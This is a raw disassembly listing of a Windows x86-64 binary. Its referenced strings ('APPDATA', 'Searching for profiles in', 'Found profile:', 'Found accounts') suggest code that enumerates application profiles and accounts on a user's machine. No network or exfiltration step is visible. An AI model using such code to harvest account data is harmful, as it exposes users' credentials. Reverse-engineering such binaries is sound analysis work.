call fcn.140030a50
mov rdi, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov cl, 1
mov rdx, rdi
call fcn.140150be0
mov qword [rsp + 0x1e0], rax
test rax, rax
lea rcx, [rsp + 0x1e0]
je 0x14011cb56
call fcn.14006467d
cmp qword [rsp + 0x100], 0
je 0x14011cb73
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1c0], r12
test rbp, rbp
je 0x14011cb92
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x340]
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x340], 0
mov rsi, qword [rsp + 0x350]
mov rdi, qword [rsp + 0x348]
cmovne rdi, rsi
cmovne rsi, qword [rsp + 0x358]
mov rcx, rsi
call fcn.140047b2b
mov qword [rsp + 0x1c8], rax
mov r12, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x310]
mov rdx, r12
mov r8, rsi
call fcn.140031440
mov r13, qword [rsp + 0x318]
mov rsi, qword [rsp + 0x320]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x1f0]
mov rdx, r13
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], rsi
mov word [rsp + 0x258], 1
mov ecx, 0x10
mov rdi, rbx
lea rsi, [rsp + 0x1e0]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0x179], 0
jne 0x1401292bb
xor ebp, ebp
mov rdi, qword [rsp + 0x110]
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x110]
call fcn.14000b399
cmp qword [rsp + 0x190], 0
je 0x14011ccdd
mov rsi, qword [rsp + 0x198]
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x100]
add rdi, rcx
sub rsi, rcx
mov qword [rsp + 0x100], rax
cmp byte [rsp + 0x179], 0
mov rbp, rdi
je 0x14011cc7d
mov rbp, rdi
jmp 0x14011cd17
cmp byte [rsp + 0x179], 0
jne 0x14011cd0e
cmp byte [rsp + 0x178], 0
mov rdi, qword [rsp + 0x100]
mov rax, qword [rsp + 0x108]
jne 0x14011cf1b
cmp rax, rdi
jne 0x14011cf1b
test rbp, rbp
je 0x1401292bb
mov qword [rsp + 0x3d0], rbp
mov qword [rsp + 0x3d8], rsi
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1e0], rax
lea rcx, [0x140006df0]
mov qword [rsp + 0x1e8], rcx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rcx
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x200], rax
lea rax, [0x140037710]
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x100], 0
lea rax, [0x14036ef60]
mov qword [rsp + 0x110], rax
mov ecx, 3
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x190]
mov rdx, rbx
call fcn.140030660
cmp qword [rsp + 0x310], 0
je 0x14011cdea
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1c8], 0
je 0x14011ce07
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
mov r13, qword [rsp + 0x270]
je 0x14011ce3c
cmp qword [rsp + 0x348], 0
je 0x14011ce3c
mov r8, qword [rsp + 0x350]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov rcx, rbx
mov rdx, rsi
call fcn.140030a50
mov rdi, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov cl, 1
mov rdx, rdi
call fcn.140150be0
mov qword [rsp + 0x1e0], rax
test rax, rax
mov r12, qword [rsp + 0x1c0]
je 0x14011ce9b
lea rcx, [rsp + 0x1e0]
call fcn.14006467d
cmp qword [rsp + 0x100], 0
je 0x14011ceb8
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbp, rbp
je 0x14011cecf
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x3c8], 0
je 0x14011c1c6
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14011c1c6
sub rax, rdi
add rdi, qword [rsp + 0x110]
mov rsi, rax
jmp 0x14011c667
sub rax, rdi
add rdi, qword [rsp + 0x110]
mov rsi, rax
jmp 0x14011c99e
sub rax, rdi
add rdi, qword [rsp + 0x110]
mov rsi, rax
jmp 0x14011ccd8
lea rcx, [rsp + 0x100]
call fcn.140004252
lea rcx, [rsp + 0x30]
call fcn.1400045a1
lea rdx, str.APPDATA
lea rbp, [rsp + 0x100]
mov r8d, 7
mov rcx, rbp
call fcn.14014ced0
cmp byte [rbp + 0x18], 3
jne 0x1401293e1
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x1f0], rax
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x340], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x110], rax
lea rax, [0x1400a2ed3]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x340]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rax
lea rdx, [rsp + 0x30]
mov qword [rdx], 0
lea rax, [0x14036e830]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 4
mov qword [rdx + 0x20], rbp
mov qword [rdx + 0x28], 3
lea rcx, [rsp + 0x280]
call fcn.140030660
cmp qword [rsp + 0x1e0], 0
je 0x14011d05c
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x280]
movups xmm0, xmmword [r14]
lea rdi, [rsp + 0x560]
movaps xmmword [rdi], xmm0
mov rax, qword [r14 + 0x10]
mov qword [rdi + 0x10], rax
lea rsi, [rsp + 0x100]
mov qword [rsi], rdi
lea rax, [0x140006df0]
mov qword [rsi + 8], rax
lea rbx, [rsp + 0x30]
lea rax, str.Searching_for_profiles_in
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 2
xor r15d, r15d
mov qword [rbx], r15
mov qword [rbx + 0x20], rbp
mov qword [rbx + 0x28], 1
mov rcx, rbx
call fcn.140153c30
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x10], rax
movaps xmm0, xmmword [rdi]
movaps xmmword [rsi], xmm0
lea r12, [rsp + 0x30]
mov rcx, r12
mov rdx, rsi
call fcn.140112743
mov rax, qword [r12 + 0x38]
cmp rax, 5
mov ecx, 4
cmovae rcx, rax
mov qword [r12 + 0x40], rcx
lea rax, [rsp + 0x100]
mov ecx, 0xa
mov rdi, rax
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [r14 + 0x20], xmm2
movaps xmmword [r14 + 0x30], xmm3
movups xmm2, xmmword [rax + 0x40]
movaps xmmword [r14 + 0x40], xmm2
movdqa xmmword [r14], xmm0
movaps xmmword [r14 + 0x10], xmm1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2f8], xmm0
lea rax, [rsp + 0x30]
mov ecx, 0xa
mov rdi, rax
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov qword [rax + 0x50], r15
movdqu xmm1, xmmword [rsp + 0x2f0]
movdqu xmmword [rax + 0x58], xmm1
mov rcx, qword [rsp + 0x300]
mov qword [rax + 0x68], rcx
mov qword [rax + 0x70], r15
mov ecx, 8
mov qword [rax + 0x78], rcx
movdqu xmmword [rax + 0x80], xmm0
mov qword [rax + 0x90], rcx
movdqu xmmword [rax + 0x98], xmm0
mov qword [rax + 0xa8], rcx
mov qword [rax + 0xb0], r15
lea rax, [rsp + 0x1e0]
add rcx, rax
mov qword [rsp + 0x268], rcx
mov rcx, rbp
mov rdx, rbx
call fcn.14017b3d2
mov rax, qword [rsp + 0x130]
cmp rax, 2
je 0x14011d37d
cmp eax, 3
je 0x14011e170
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x188], rax
mov r15, qword [rsp + 0x108]
mov rbx, qword [rsp + 0x110]
mov qword [rsp + 0x340], r15
mov qword [rsp + 0x348], rbx
lea rax, [rsp + 0x340]
mov qword [rsp + 0x190], rax
lea rax, [0x140156ba0]
mov qword [rsp + 0x198], rax
xor r12d, r12d
mov qword [rsp + 0x100], r12
lea rax, [0x14036ee20]
mov qword [rsp + 0x110], rax
mov r13d, 2
mov qword [rsp + 0x118], r13
lea rdi, [rsp + 0x190]
mov qword [rsp + 0x120], rdi
mov eax, 1
mov qword [rsp + 0x128], rax
lea r14, [rsp + 0x1e0]
mov rcx, r14
mov rdx, rbp
call fcn.140030660
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1e8]
mov rsi, qword [rsp + 0x1f0]
mov qword [rsp + 0xf8], r15
mov qword [rsp + 0x340], r15
mov r15, rax
mov qword [rsp + 0x1c8], rbx
mov qword [rsp + 0x348], rbx
lea rax, [rsp + 0x340]
mov qword [rsp + 0x190], rax
lea rax, [0x140156ba0]
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x100], r12
lea rax, [0x14036ee50]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], r13
mov qword [rsp + 0x120], rdi
mov eax, 1
mov qword [rsp + 0x128], rax
mov rcx, r14
mov rdx, rbp
call fcn.140030660
mov r14, qword [rsp + 0x1e0]
mov r12, qword [rsp + 0x1e8]
mov rbx, qword [rsp + 0x1f0]
mov rcx, rbp
mov rdx, r15
mov r8, rsi
xor r9d, r9d
call fcn.140151c10
cmp dword [rsp + 0x100], 2
jne 0x14011d3a5
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x1e0], 2
jmp 0x14011d3fc
mov ecx, 9
lea rax, [rsp + 0x1e0]
mov rdi, rax
lea rsi, [rsp + 0x138]
rep movsq qword [rdi], qword [rsi]
mov rcx, rax
call fcn.140004c54
jmp 0x14011d1be
mov ecx, 9
lea rdi, [rsp + 0x1e0]
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x1e0], 2
je 0x14011d3fc
mov rcx, rbp
mov rdx, r12
mov r8, rbx
xor r9d, r9d
call fcn.140151c10
cmp dword [rsp + 0x100], 2
je 0x14011d35f
mov ecx, 9
lea rdi, [rsp + 0x1e0]
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x1e0], 2
jne 0x14011d46d
mov rcx, qword [rsp + 0x268]
call fcn.14006467d
test r14, r14
je 0x14011d420
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1d0], 0
lea rbx, [rsp + 0x30]
je 0x14011d442
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x188], 0
je 0x14011d1be
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0xf8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14011d1be
mov rax, qword [0x1403c8048]
mov qword [rsp + 0x1c0], rax
mov rax, qword [0x1403c8050]
mov qword [rsp + 0x270], rax
mov rcx, rbp
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x100], 0
mov r13, qword [rsp + 0x110]
mov rsi, qword [rsp + 0x108]
cmovne rsi, r13
cmovne r13, qword [rsp + 0x118]
mov rcx, r13
call fcn.140047b2b
mov rbx, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
mov rdx, r13
mov r8, qword [rsp + 0x1c0]
mov r9, qword [rsp + 0x270]
call fcn.1400062dc
mov esi, eax
test rbx, rbx
je 0x14011d519
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x100], 0
je 0x14011d546
cmp qword [rsp + 0x108], 0
je 0x14011d546
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test sil, sil
jne 0x14011d409
mov rcx, rbp
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x100], 0
mov rsi, qword [rsp + 0x110]
mov rdi, qword [rsp + 0x108]
cmovne rdi, rsi
cmovne rsi, qword [rsp + 0x118]
mov rcx, rsi
call fcn.140047b2b
mov r13, rax
mov rbx, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rsp + 0x100], 0
je 0x14011d5d6
cmp qword [rsp + 0x108], 0
je 0x14011d5d6
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rbx
mov rdx, rsi
call fcn.140156590
test rax, rax
je 0x140129468
mov qword [rsp + 0x3c8], r13
mov qword [rsp + 0x270], rbx
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x14012947b
mov qword [rsp + 0x3f8], rax
mov qword [rsp + 0x400], rdx
lea rax, [rsp + 0x3f8]
mov qword [rsp + 0x340], rax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1e0], rax
lea rax, [0x14003c210]
mov qword [rsp + 0x1e8], rax
lea rax, str.Found_profile:
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 2
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
mov rcx, rbp
call fcn.140153c30
mov rcx, rbp
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x100], 0
mov rsi, qword [rsp + 0x110]
mov rbx, qword [rsp + 0x108]
cmovne rbx, rsi
cmovne rsi, qword [rsp + 0x118]
mov rcx, rsi
call fcn.140047b2b
mov r13, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [0x1403c8050]
cmp rdx, qword [0x1403c8040]
jne 0x14011d712
lea rcx, [0x1403c8040]
call fcn.14007e5bc
mov rdx, qword [0x1403c8050]
mov rax, qword [0x1403c8048]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], r13
mov qword [rax + rcx*8 + 8], rdi
mov qword [rax + rcx*8 + 0x10], rsi
inc qword [0x1403c8050]
cmp qword [rsp + 0x100], 0
je 0x14011d75f
cmp qword [rsp + 0x108], 0
je 0x14011d75f
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x340]
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x340], 0
mov rsi, qword [rsp + 0x350]
mov rdi, qword [rsp + 0x348]
cmovne rdi, rsi
cmovne rsi, qword [rsp + 0x358]
mov rcx, rsi
call fcn.140047b2b
mov qword [rsp + 0x1c0], rax
mov r13, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x310]
mov rdx, r13
mov r8, rsi
call fcn.140031440
mov rdx, qword [rsp + 0x318]
mov rsi, qword [rsp + 0x320]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x1f0]
mov qword [rsp + 0x338], rdx
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], rsi
mov word [rsp + 0x258], 1
mov ecx, 0x10
mov rdi, rbp
lea rsi, [rsp + 0x1e0]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0x179], 0
jne 0x1401292ce
xor ebx, ebx
mov rdi, qword [rsp + 0x110]
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x110]
call fcn.14000b399
cmp qword [rsp + 0x190], 0
je 0x14011d8af
mov rsi, qword [rsp + 0x198]
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x100]
add rdi, rcx
sub rsi, rcx
mov qword [rsp + 0x100], rax
cmp byte [rsp + 0x179], 0
mov rbx, rdi
je 0x14011d84f
mov rbx, rdi
jmp 0x14011d8e9
cmp byte [rsp + 0x179], 0
jne 0x14011d8e0
cmp byte [rsp + 0x178], 0
mov rdi, qword [rsp + 0x100]
mov rax, qword [rsp + 0x108]
jne 0x14011e137
cmp rax, rdi
jne 0x14011e137
test rbx, rbx
je 0x1401292ce
mov qword [rsp + 0x3d0], rbx
mov qword [rsp + 0x3d8], rsi
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1e0], rax
lea rcx, [0x140006df0]
mov qword [rsp + 0x1e8], rcx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rcx
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x200], rax
lea rax, [0x140037710]
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x100], 0
lea rax, [0x14036eed0]
mov qword [rsp + 0x110], rax
mov ecx, 3
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x190]
mov rdx, rbp
call fcn.140030660
cmp qword [rsp + 0x310], 0
je 0x14011d9c1
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x338]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1c0], 0
je 0x14011d9de
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
je 0x14011da0b
cmp qword [rsp + 0x348], 0
je 0x14011da0b
mov r8, qword [rsp + 0x350]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov rcx, rbp
mov rdx, rsi
call fcn.140030a50
mov rdi, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov cl, 1
mov rdx, rdi
call fcn.140150be0
mov qword [rsp + 0x1e0], rax
test rax, rax
lea rcx, [rsp + 0x1e0]
je 0x14011da62
call fcn.14006467d
cmp qword [rsp + 0x100], 0
je 0x14011da7f
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x14011da96
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x340]
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x340], 0
mov rsi, qword [rsp + 0x350]
mov rdi, qword [rsp + 0x348]
cmovne rdi, rsi
cmovne rsi, qword [rsp + 0x358]
mov rcx, rsi
call fcn.140047b2b
mov qword [rsp + 0x1c0], rax
mov r13, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x310]
mov rdx, r13
mov r8, rsi
call fcn.140031440
mov rdx, qword [rsp + 0x318]
mov rsi, qword [rsp + 0x320]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x1f0]
mov qword [rsp + 0x338], rdx
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], rsi
mov word [rsp + 0x258], 1
mov ecx, 0x10
mov rdi, rbp
lea rsi, [rsp + 0x1e0]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0x179], 0
jne 0x1401292e1
xor ebx, ebx
mov rdi, qword [rsp + 0x110]
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x110]
call fcn.14000b399
cmp qword [rsp + 0x190], 0
je 0x14011dbe6
mov rsi, qword [rsp + 0x198]
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x100]
add rdi, rcx
sub rsi, rcx
mov qword [rsp + 0x100], rax
cmp byte [rsp + 0x179], 0
mov rbx, rdi
je 0x14011db86
mov rbx, rdi
jmp 0x14011dc20
cmp byte [rsp + 0x179], 0
jne 0x14011dc17
cmp byte [rsp + 0x178], 0
mov rdi, qword [rsp + 0x100]
mov rax, qword [rsp + 0x108]
jne 0x14011e14a
cmp rax, rdi
jne 0x14011e14a
test rbx, rbx
je 0x1401292e1
mov qword [rsp + 0x3d0], rbx
mov qword [rsp + 0x3d8], rsi
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1e0], rax
lea rcx, [0x140006df0]
mov qword [rsp + 0x1e8], rcx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rcx
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x200], rax
lea rax, [0x140037710]
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x100], 0
lea rax, [0x14036ef18]
mov qword [rsp + 0x110], rax
mov ecx, 3
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x190]
mov rdx, rbp
call fcn.140030660
cmp qword [rsp + 0x310], 0
je 0x14011dcf8
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x338]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1c0], 0
je 0x14011dd15
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
je 0x14011dd42
cmp qword [rsp + 0x348], 0
je 0x14011dd42
mov r8, qword [rsp + 0x350]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov rcx, rbp
mov rdx, rsi
call fcn.140030a50
mov rdi, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov cl, 1
mov rdx, rdi
call fcn.140150be0
mov qword [rsp + 0x1e0], rax
test rax, rax
lea rcx, [rsp + 0x1e0]
je 0x14011dd99
call fcn.14006467d
cmp qword [rsp + 0x100], 0
je 0x14011ddb6
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1c0], r14
test rbx, rbx
je 0x14011ddd5
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x340]
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x340], 0
mov rsi, qword [rsp + 0x350]
mov rdi, qword [rsp + 0x348]
cmovne rdi, rsi
cmovne rsi, qword [rsp + 0x358]
mov rcx, rsi
call fcn.140047b2b
mov qword [rsp + 0x1c8], rax
mov r14, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x310]
mov rdx, r14
mov r8, rsi
call fcn.140031440
mov r13, qword [rsp + 0x318]
mov rsi, qword [rsp + 0x320]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x1f0]
mov rdx, r13
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], rsi
mov word [rsp + 0x258], 1
mov ecx, 0x10
mov rdi, rbp
lea rsi, [rsp + 0x1e0]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0x179], 0
jne 0x1401292f4
xor ebx, ebx
mov rdi, qword [rsp + 0x110]
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x110]
call fcn.14000b399
cmp qword [rsp + 0x190], 0
je 0x14011df20
mov rsi, qword [rsp + 0x198]
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x100]
add rdi, rcx
sub rsi, rcx
mov qword [rsp + 0x100], rax
cmp byte [rsp + 0x179], 0
mov rbx, rdi
je 0x14011dec0
mov rbx, rdi
jmp 0x14011df5a
cmp byte [rsp + 0x179], 0
jne 0x14011df51
cmp byte [rsp + 0x178], 0
mov rdi, qword [rsp + 0x100]
mov rax, qword [rsp + 0x108]
jne 0x14011e15d
cmp rax, rdi
jne 0x14011e15d
test rbx, rbx
je 0x1401292f4
mov qword [rsp + 0x3d0], rbx
mov qword [rsp + 0x3d8], rsi
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1e0], rax
lea rcx, [0x140006df0]
mov qword [rsp + 0x1e8], rcx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rcx
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x200], rax
lea rax, [0x140037710]
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x100], 0
lea rax, [0x14036ef60]
mov qword [rsp + 0x110], rax
mov ecx, 3
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x190]
mov rdx, rbp
call fcn.140030660
cmp qword [rsp + 0x310], 0
je 0x14011e02d
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1c8], 0
je 0x14011e04a
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
mov r13, qword [rsp + 0x3c8]
je 0x14011e07f
cmp qword [rsp + 0x348], 0
je 0x14011e07f
mov r8, qword [rsp + 0x350]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov rcx, rbp
mov rdx, rsi
call fcn.140030a50
mov rdi, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov cl, 1
mov rdx, rdi
call fcn.140150be0
mov qword [rsp + 0x1e0], rax
test rax, rax
mov r14, qword [rsp + 0x1c0]
je 0x14011e0de
lea rcx, [rsp + 0x1e0]
call fcn.14006467d
cmp qword [rsp + 0x100], 0
je 0x14011e0fb
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x14011e112
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
mov r8, qword [rsp + 0x270]
je 0x14011d409
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14011d409
sub rax, rdi
add rdi, qword [rsp + 0x110]
mov rsi, rax
jmp 0x14011d8aa
sub rax, rdi
add rdi, qword [rsp + 0x110]
mov rsi, rax
jmp 0x14011dbe1
sub rax, rdi
add rdi, qword [rsp + 0x110]
mov rsi, rax
jmp 0x14011df1b
lea rsi, [rsp + 0x100]
mov rcx, rsi
call fcn.140004252
lea rbx, [rsp + 0x30]
mov rcx, rbx
call fcn.1400045a1
mov rax, qword [0x1403c8050]
mov qword [rsp + 0x1e0], rax
lea rax, [rsp + 0x1e0]
mov qword [rsi], rax
lea rax, [fcn.140035940]
mov qword [rsi + 8], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsi + 0x10], rax
lea rax, [0x140006df0]
mov qword [rsi + 0x18], rax
lea rax, str.Found__accounts_n
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 3
xor edi, edi
mov qword [rbx], rdi
mov qword [rbx + 0x20], rsi
mov ebp, 2
mov qword [rbx + 0x28], rbp
lea rbx, [rsp + 0x30]
mov rcx, rbx
call fcn.140153c30
